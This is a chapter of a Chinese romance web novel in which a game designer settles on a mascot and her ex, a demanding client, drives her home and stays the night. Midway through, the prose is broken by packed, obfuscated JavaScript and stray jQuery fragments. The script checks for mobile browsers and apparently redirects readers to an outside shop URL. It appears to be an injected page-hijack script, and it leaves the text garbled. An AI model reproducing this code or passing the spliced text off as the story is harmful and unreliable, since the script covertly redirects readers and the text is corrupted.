87. 第 87 章

作品:《始乱终弃了少爷后

    第八十七章


    “狗狗那么可爱,为什么不可以?”罗松琦手里捏着废掉的第八版方案,泪如雨下。


    “往好的方面想,至少人家没否定狗狗这个主元素,只是说元素单一。”翟听雁往眼睛里滴眼药水。


    “还要怎么丰富,德牧边牧萨摩耶,秋田小柴哈士奇,讨喜的都试了个遍,都不行,还要怎样?我看干脆给他找个舔狗算了!”


    转椅子找灵感的阮离突然停下动作,看过来:“你说什么?”


    罗松琦看了一眼头顶的监控,后知后觉地涨红脸:“……我错了主策。”


    “不用管那个,没人看监控。”阮离滑着椅子到她身边,继续问:“你刚才那句,再说一遍。”


    罗松琦试图复述:“还要怎么丰富,德牧边牧萨摩耶……”


    “不是这句,后面那句。”


    “后面……你等等,我还是从头说一遍吧。”


    “还要怎么丰富,德牧边牧萨摩耶,秋田小柴哈士奇,讨喜的都试了个遍,都不行……我看干脆找个舔狗算了。”


    “舔狗……舔狗,”阮离摸着下巴,重复几遍后突然一拍巴掌,“这个好,就这个。”


    “啊?”一组众人震惊看过来,“舔狗啊?”


    “不是舔狗,是天狗。”阮离阐述自己的思路,“归根结底,他们就是嫌弃狗狗太平凡普通,但天上的狗总不平凡普通了吧。”


    “在山海经中,天狗是可以御凶的吉兽,寓意也不错,非常符合我们整个游戏调性。”


    “但是长得是不是有点……吓人。”罗松琦对着屏幕上威风凛凛的图片沉吟。


    “这就得看听雁的了,相信出个Q版萌系的天狗不是问题。”


    翟听雁比了个OK的手势。


    这次的方案终于得到了甲方爸爸的认可,主要是翟听雁画得Q版天狗太可爱了。


    一经面世,就广受一组内部好评。


    翟听雁用画笔在屏幕上指了一下,询问阮离的意见:“这额头的星星胎记还要加吗?感觉上次甲方爸爸不太满意的样子。”


    “加。”阮离毫不犹豫。


    “其实我觉得日月星辰,也没必要非加星星,太阳和月亮也行。”


    “月亮?COS包青天?你买版权了吗?”


    “呃……那太阳呢?”


    “不要。”阮离霸道地说,“我就喜欢星星。”


    好好好,霸道主策狠狠爱。


    星星,这也是你的福气了。


    主角形象终于敲定,虽然世界观,角色设定,剧情大纲等还没有着落,但主角都有了,这一切还会远吗?


    这款主题为小天狗历险记的游戏,要融合各大热门元素,成为史上最有趣的游戏,在游戏界留下浓墨重彩的一笔。


    市场上热门的元素,古装玄幻仙侠,校园青春梦想,悬疑犯罪惊悚,


    抗日民国枪战,都市爱情职场……


    它都不沾边啊……


    “算了吧算了吧,先下班吧。”罗松琦双目无神,“今日事,今日毕不了。同志们我先撤了。”


    “我也先撤了,腱鞘炎要犯了。”翟听雁紧随其后。


    “我也……”


    “你也有腱鞘炎啊?你又不画画。”


    “我儿子脑膜炎不行吗?”


    很快,一组众人呼呼啦啦都下班了。


    阮离看了一眼手机,快九点了,确实太晚了,就随她们去了。


    等她忙完手里的事,已经十一点多了。


    走出公司正在犹豫是打车还是走回去,路边一辆车远光灯闪起来,她用手挡住差点被晃瞎的眼睛,等再看过去,车门打开,驾驶位走下来一道熟悉的身影。


    甲方爸爸大晚上大驾光临,是上次还没被扇够?


    “你怎么在这?”阮离看着缓缓走过来的司辰。


    “我路过。”对方惜字如金,仿佛真的只是路过。


    “那你继续路过,我回家了。”


    “站着。”对方装不过三秒原形毕露,“上车,送你回家。”


    “这不好吧。”阮离一脸正直,“您可是毙了我们几十版方案的甲方爸爸。”


    “是不是得避嫌啊?”


    “避嫌?”司辰走近一步,低头在她耳边暧昧地说。


    “上次在办公室,你薅着我头发求饶的时候,可不是这么说的。”


    “你闭嘴!”阮离瞬间涨红脸瞪着他。


    “你上车我就闭。”


    最后,阮离坐在副驾驶位,把仪表台上的一只小乌龟摆件翻过来,让它呈四脚朝天的模样。


    才算狠狠出了一口恶气。


    看见她偷偷摸摸的小动作,司辰轻嗤:“幼稚。”


    “你成熟,你在这放个杰尼龟,你可太成熟了。”


    “那是买熊送的。”司辰不满地提高音量。


    一句话喊出来,二人都顿了顿,接下来的几分钟,谁也没再说话。


    “那只熊,你不会扔了吧?”良久,司辰问。


    “……没。”阮离低头摆弄包上的小橘猫挂坠。


    “那我上次去怎么没看到。”司辰有些怀疑。


    “我送去干洗了。”


    这句话之后,车内再度陷入沉默。司辰把着方向盘,余光中,身边人低着头把那只小橘猫挂坠折腾得哗啦哗啦响。


    死不瞑目地吊在链子上左右摇晃。


    看这反应,应该是发现了他录的那段话。


    一个不告而别的狠心骗子,离开的时候什么也没带走,居然把一只毫无实用价值的玩偶熊抱走了。


    在物业监控里看到那只熊决然地走出门外时,他都气笑了。


    在她眼里,他还没有一只熊重要。


    “所以,你就真的不准备解释一下,当初为什么要分手?”


    话题转变得过于突然,阮离手一抖,链子彻底变成死结,将小橘猫牢牢锁喉。


    场面惨不忍睹。


    她一边解死扣一边低声说:“你爸……”


    “什么?”


    “司先生。”她立刻换了个说法,“他是怎么和你说的。”


    “他说他给了你一百万,你就答应他分手。”司辰转过方向盘,车子拐进小区。


    “对此,你有什么要辩解的吗?”


    “没有。”这件事情是事实,虽然过程有些出入,但结果是一样的。


    “你不是也信了,还问什么。”


    车子嘎吱一声停在她楼下。


    “下车。”他冷声,态度极差。


    阮离看他一眼,一言不发推门下车,把车门反手撞上,脚步飞快地上了楼。


    进门后,她甩掉脚上的鞋子,坐到沙发前的地毯上,抱着膝盖发呆。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170546|186746||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    阮橘子竖着尾巴凑过来,细细嗅闻她全身。


    她顺手把猫捞进怀里,下巴抵在毛茸茸的脑瓜顶上。


    直到门口传来输入密码的声音,她才恍然从梦中惊醒。


    怀里的阮橘子扭头紧张地盯着门口的方向。


    她也有点紧张,都这个时间了,会是余冰吗?


    还是……别人。


    被自己的猜想吓出一身冷汗,她松手,阮橘子从她身上跳下去钻进沙发底下。


    茶几下面置物盒里有一把剪刀,她拿出来死死攥在手里。


    密码输入正确,响起滴的一声,门被打开了。


    屋内没有开灯,她睁大眼注视着一片茫茫的黑暗,只能看到一个隐约的轮廓。


    高大,挺拔,还很熟悉。


    她握着剪刀的手松了劲儿,震惊地看着走过来的男人。


    “你怎么……”还没走。


    而且为什么会知道她的密码?


    司辰走到她面前,高大的身躯顿时衬托得房间逼仄不堪。


    “我大晚上把你送回家,不是为了跟你吵架的。”


    话题是他先挑起来的,气也是他先生的。


    现在又说这些。


    好坏赖话都让他说尽了。


    “这是我家,你出去。”阮离把剪刀丢回茶几上,伸手推他。


    “还有,你怎么知道密码?”


    “你用自己生日当密码,一试就试出来了。”


    “那你也不能随便进来啊,你不会敲门吗?”


    万一她在换衣服怎么办?万一她在洗澡怎么办?


    “快走。”她推他。


    司辰抓住她的手腕,将她拉进怀里,感受到他身上传来的湿凉气息,她微微屏息。


    “外面下雨了,我不走。”他将嘴唇贴在她滚烫的耳廓,声音低哑地说。


    等到司辰拿着衣服进了浴室,阮离坐在沙发上反思。


    她当时为什么迷迷糊糊就答应了?


    就算是下雨,反正他有车,这也完全没什么影响吧。


    再不济,她可以借给他一把伞啊。


    怎么就让人留下了?


    难道是他说话的声音太有磁性,让她头脑发热。


    还是他湿淋淋的模样太可怜,像一只被主人抛弃在大街上淋雨的小狗。


    少爷什么时候学会装可怜了。


    简直防不胜防。


    可恶啊。


    进浴室洗澡之前,司辰问:“你这里有我能穿的衣服吗?”


    他盯着她,大有她说有就一把掐死她的意味。


    然而阮离迟钝得没听出话外音,想了想点头:“还真有。”


    司辰的脸顿时阴成一块抹布,挤一挤能攥出黑水的那种。


    他皮笑肉不笑地咬牙切齿:“是吗?黎与知的衣服我可穿不上,太小。”


    “跟他有什么关系。”站在衣柜面前的阮离纳闷地说,然后拿出一件衬衫丢给他。


    “这是你的衬衫。”


    她离开之前二人……咳,总之就是她当时还穿着他的这件衬衫,换下来顺手放进行李箱里,就一直留在她这里了。


    少爷也想起了这茬,脸色这才好看起来,拿着衬衫进了浴室。


    然后又探出头警告她:“你别偷看我洗澡啊。”


    回应他的是阮离大大的白眼。